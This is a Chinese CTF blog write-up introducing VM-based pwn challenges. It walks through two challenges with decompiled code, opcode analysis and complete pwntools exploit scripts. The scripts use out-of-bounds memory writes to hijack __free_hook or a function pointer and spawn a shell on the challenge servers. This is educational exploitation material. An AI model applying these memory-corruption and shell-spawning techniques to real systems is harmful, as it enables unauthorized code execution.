VMpwn入门

D0wnBe@t Lv4

前言

由于在 2025GHCTF新生赛上看到了 VMpwn,所以打算浅浅入个门,参考一下出题人的文章吧,写的挺详细的。

😘😘文章链接

VMpwn的介绍

VMpwn可以理解为让我们自己去输入opcode,然后程序会读取对应的opcode来执行对应的操作,常见的有

  1. 模拟寄存器操作,比如说寄存器加减乘除,异或等。
  2. 模拟stack,入栈出栈
  3. 模拟data段
  4. 模拟text段

除了上述还有蛮多,暂且不说了,但基本的数据都是位于 bss段上的。

也正是因为数据基本都在bss段上,所以常见的漏洞就是进行溢出改写,通常不会对模拟的数据数组进行下标检查。

还有要基本理解的地方,借用出题人的图片:

gift

例题

建议先看第二个例题:2025GHCTF

OGeek2019 Final OVM

参考:https://x1ng.top/2020/12/17/%E5%AD%A6%E4%B9%A0VM-PWN/

题目链接:click_me

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
comment = malloc(0x8CuLL);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
signal(2, signal_handler);
write(1, "WELCOME TO OVM PWN\n", 0x16uLL);
write(1, "PC: ", 4uLL);
_isoc99_scanf("%hd", &pc_);
getchar();
write(1, "SP: ", 4uLL);
_isoc99_scanf("%hd", &sp_);
getchar();
reg[13] = sp_;
reg[15] = pc_;
write(1, "CODE SIZE: ", 0xBuLL);
_isoc99_scanf("%hd", &code_num);
getchar();
if ( sp_ + code_num > 0x10000 || !code_num )
{
write(1, "EXCEPTION\n", 0xAuLL);
exit(155);
}
write(1, "CODE: ", 6uLL);
running = 1;
for ( i = 0; code_num > i; ++i )
{
_isoc99_scanf("%d", &memory[pc_ + i]);
if ( (memory[i + pc_] & 0xFF000000) == 0xFF000000 )
memory[i + pc_] = 0xE0000000;
getchar();
}
while ( running )
{
v7 = fetch(); // 取当前memory[pc]作为指令,然后pc自增1
execute(v7);
}
write(1, "HOW DO YOU FEEL AT OVM?\n", 0x1BuLL);
read(0, comment, 0x8CuLL);
sendcomment(comment); // free(comment
write(1, "Bye\n", 4uLL);
return 0;
  • 具体的函数上面所示,sp、pc、code_num、code都由我们输入,重点在于 execute函数。
1
2
3
4
v4 = (a1 & 0xF0000u) >> 16;
v3 = (a1 & 0xF00) >> 8;
v2 = a1 & 0xF;
result = HIBYTE(a1);
  • 函数开头就有这些操作,对这些数据都是单字节的,其中result是最高字节,v2最低字节,参考开头的图片我们可以猜测,v2和v3是作为源操作数的,v4就是目的寄存器,result就作为指令来进行操作,下面简单分析一下各个result对应什么指令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 为了方便写,记r1,r2为原操作数,r3作为目的寄存器
0x10: r3 = r1
0x20: r3 = (r1 == 0)
0x30: r3 = memory[r1]
0x40: memory[r1] = r3
0x50: push r3
0x60: pop r3
0x70: r3 = r1 + r2
0x80: r3 = r2 - r1
0xb0: r3 = r1 ^ r2
0xc0: r3 = r2 << r1
0xd0: r3 = r2 >> r1
0xe0: if(!sp) exit
0xff: show(reg[])

逆向完之后差不多如上,漏洞点其实也挺明显的。

  1. 0x30 0x40,两个操作之间没有对数组下表进行检查,因此我们可以任意地址写,正如之前所说,这些 stack memory comment reg数组都位于bss段上,我们通过memory溢出到comment[0]的地址之后,由于后面还有个read函数,因此我们可以做到任意地址写!!!
  2. 溢出到comment[0],然后再往上有free的地址,由于题目开了 Full RELRO,我们不能直接改free@got,因此我们还要改hook函数的地址,观察到最后的read是往 comment地址开入,free(comment),如果将 free_hook-0x8改为comment的地址,然后写入 b'/bin/sh\x00' + p64(system),那么comment就是 b’/bin/sh\x00’, free_hook就是system的地址,然后执行 free(comment)就是 system(b’/bin/sh\x00’),就getshell了。
1
2
3
溢出free_hook-0x8为comment,然后输入b'/bin/sh\x00' + p64(system)
comment -> free_hook - 0x8 -> b'/bin/sh\x00'
comment+0x8 -> free_hook -> system
  • 下图为comment上方的got表,我们通过修改comment来获得free的相关地址
1
2
0x202060 - 0x201F68 = 248 
248 / 4 = 0x3e // 每一个下标对应四字节(_DWORD)

image-20250306170003362

  • 还有一点要说的,最后输入0xff的时候要注意,每次都会在之前跳入下面if的判定中,我也不知道为什么,动调的时候发现的,但是控制reg[13]不为0就行了。

image-20250306170315453

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
from pwn import *
def bug():
gdb.attach(p)
pause()

def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def ia():
p.interactive()

sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))

context(arch = "amd64",os = "linux",log_level = "debug")
# context.terminal = ['tmux', 'new-session', '-d', 'tmux', 'splitw', '-h']
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"] # wsl
file = "./pwn"
#libc = "/home/downbeat/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6"
libc = "/home/downbeat/CTF/buu/lib/64/libc-2.23.so"


#p = process(file)
p = remote("node5.buuoj.cn",)
elf = ELF(file)
libc = ELF(libc)
# p = remote("",)

def my_code(a1 , a2 , a3 , a4):
return str(( a1 << 24 ) | (((( a2 << 8 ) | a3) << 8 ) | a4))

# reg[13]=SP , reg[15]=PC
comment = 0x202040
memory = 0x202060
reg = 0x0242060
off_mem_com = -0x20
off_free = -0x3e # memory一个下标对应四字节
off_free_hook = libc.sym['__free_hook'] - libc.sym['free'] # 指的是free和free_hook的偏移
lg("off_free_hook to free: ",off_free_hook)

# 还需注意,变量定义的是_DWORD,属于32位无符号整数
# 下面先获得free的地址,reg[1],reg[2]
code = [
my_code(0x10 , 10, 0, 0x3f), # reg[10] = 0x3f
my_code(0x10 , 11 , 0 , 0x1),# reg[11] = 0x1
my_code(0x80 , 10 , 11 , 10),# reg[10] = -0x3e
my_code(0x30 , 1 , 0 , 10), # reg[1] = free低四字节
my_code(0x70 , 10 , 10 , 11),# reg[10] = -0x3d
my_code(0x30 , 2 , 0 , 10), # reg[2] = free的高四字节

# reg[3]为free_hook地址
my_code(0x10 , 5 , 0 , 0x8),# reg[5] = 0x8
my_code(0x10 , 3 , 0 , (off_free_hook & 0xff)),# reg[3] = 最低字节
my_code(0x10 , 4 , 0 , (off_free_hook >> 8) & 0xff),# reg[4] = 中间字节
my_code(0xc0 , 4 , 4 , 5),# reg[4] << 8
my_code(0x70 , 3 , 3 , 4),# reg[3] += reg[4],得到中间和最低字节
my_code(0x10 , 5 , 0 , 0x10),# reg[5] = 0x10
my_code(0x10 , 4 , 0 , (off_free_hook >> 16) & 0xff),# reg[4] = 最高字节
my_code(0xc0 , 4 , 4 , 5),# reg[4] << 16
my_code(0x70 , 3 , 3 , 4),# reg[3] 为free_hook偏移地址

# 将comment改为free_hook-0x8,输入/bin/sh+system
# free(comment) -> system('/bin/sh')
my_code(0x70 , 1 , 1 , 3), # reg[1]+=reg[3],即reg[1]是free_hook的低四字节地址
my_code(0x10 , 10 , 0 , 0x8),# reg[10]=8 , 为了改comment为free_hook-0x8
my_code(0x80 , 1 , 1 , 10), # reg[1]-=8,fre_hook低位地址-8
my_code(0x10 , 10, 0, 0x9), # reg[10] = 0x9
my_code(0x10 , 11 , 0 , 0x1),# reg[11] = 0x1
my_code(0x80 , 10 , 11 , 10),# reg[10] = -0x8
my_code(0x40 , 1 , 0 , 10), # comment高位 = free_hook低四字节-0x8
my_code(0x70 , 10 , 10 , 11), # reg[10] = -0x7
# bug()
my_code(0x40 , 2 , 0 , 10), # comment低位 = free_hook高四字节-0x8

# 获得libc
my_code(0x10 , 13 , 0 , 1), # reg[13] = 1
my_code( 0xFF , 0 , 0 , 0) # 输出泄露libc
]

sla("PC: ",b'0')
sla("SP: ",b'0')
sla("CODE SIZE: ",b'26')
ru("CODE: ")

for i in code:
sleep(0.1)
sl(i.encode())

ru(b'R1: ')
free_hook_low = int(p.recv(8),16) + 8
ru(b'R2: ')
free_hook_high = int(p.recv(4), 16) << 32
free_hook_addr = free_hook_high | free_hook_low
libc.address = free_hook_addr - libc.sym['__free_hook']
system = libc.sym['system']
lg("libc.address: ",libc.address)
lg("system: ",system)

payload = b'/bin/sh\x00' + p64(system)
sla("HOW DO YOU FEEL AT OVM?\n",payload)

ia()

2025GHCTF

  • 先看主函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned __int16 v4; // [rsp+Ch] [rbp-14h] BYREF
unsigned __int16 v5; // [rsp+Eh] [rbp-12h] BYREF
unsigned __int16 code_num; // [rsp+10h] [rbp-10h] BYREF
unsigned __int16 i; // [rsp+12h] [rbp-Eh]
unsigned int v8; // [rsp+14h] [rbp-Ch]
unsigned __int64 v9; // [rsp+18h] [rbp-8h]

v9 = __readfsqword(0x28u);
funcptr = my_print; // 指向一个函数
init();
write(1, "This is my vm.\n", 0xFuLL);
printf("set your IP:");
__isoc99_scanf("%hd", &v4);
getchar();
printf("set your SP:");
__isoc99_scanf("%hd", &v5);
getchar();
SP_ = v5;
IP_ = v4;
if ( v4 > 0x2000u || !v5 )
{
puts("error!");
exit(0);
}
printf("How much code do you want to execve:");
__isoc99_scanf("%hd", &code_num);
getchar();
for ( i = 0; i < code_num; ++i )
{
__isoc99_scanf("%d", 4LL * i + 0x6020E0); // 0x6020E0对应memory,即从memory开始写指令
getchar();
}
for ( i = 0; i < code_num; ++i )
{
v8 = fetch(); // 从memory[IP]开始取指令
execute(v8);
}
funcptr(); // 最后执行,改为backdoor即可
return 0;
}
  • 具体和第一题差不多,就不细说了,来逆向一下execute函数即可:
1
2
3
4
5
6
7
8
9
0x10: r3 = r1
0x20:
0x30
0x40: r3 = r2 + r1
0x50: r3 = r2 - r1
0x60: r3 = r1 ^ r2
0x70: r3 = r2 >> r1
0x80: r3 = r2 << r1
0x90: memory[r3] = r2

漏洞点还是一样的明显,数组越界,memory可以越界到funcptr,然后直接对该地址写入backdoor的地址即可

image-20250306193621392

差距0x20/4 = 0x8,即往memory[-0x8]写入(int四字节)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
def bug():
gdb.attach(p)
pause()

def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def ia():
p.interactive()

sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))

context(arch = "amd64",os = "linux",log_level = "debug")
# context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"] # wsl

file = "./pwn"
libc = "./libc.so.6"


#p = process(file)
elf = ELF(file)
#libc = ELF(libc)
p = remote("node1.anna.nssctf.cn",)

def my_code(a1, a2 , a3, a4):
return str(( a1 << 24 ) | (((( a2 << 8 ) | a3) << 8 ) | a4))


ru("IP:")
sl('0')
ru("SP:")
sl('1')
sla("execve:",'13')

funcptr = 0x6020C0
memory = 0x6020E0
reg = 0x6420E0
backdoor = 0x0400877
off_mem_func = -8 # -0x20 // 4

code = [
my_code(0x10 , 1 , 0 , 0x9), # reg[1] = 0x9
my_code(0x10, 2 , 0 , 0x1), # reg[2] = 1
my_code(0x50 , 0 , 2 , 1), # reg[0] = reg[2]-reg[1] = -0x8
my_code(0x10 , 3 , 0 , (backdoor) & 0xff), # reg[3] = backdoor末字节
my_code(0x10 , 4 , 0 , 0x8), # reg[4] = 0x8
my_code(0x10 , 5 , 0 , (backdoor >> 8) & 0xff), # reg[5] = backdoor中间一字节
my_code(0x80 , 5 , 5 , 4), # reg[5] << 0x8
my_code(0x40 , 3 , 3 , 5), # reg[3] 为中间+末
my_code(0x10 , 4 , 0 , 0x10), #reg[4] = 0x10
my_code(0x10 , 5 , 0 , (backdoor >> 16) & 0xff), # reg[5]=最高字节
my_code(0x80 , 5 , 5 , 4), # reg[5] << 16
my_code(0x40 , 3 , 3 , 5), # reg[3] = backdoor
my_code(0x90 , 0 , 3 , 0) # 往funcptr写入backdoor
]

# bug()
for i in code:
sleep(0.2)
sl(i.encode())

ia()
  • 标题: VMpwn入门
  • 作者: D0wnBe@t
  • 创建于 : 2025-03-05 20:26:02
  • 更新于 : 2025-03-07 13:38:38
  • 链接: http://downbeat.top/2025/03/05/VMpwn入门/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论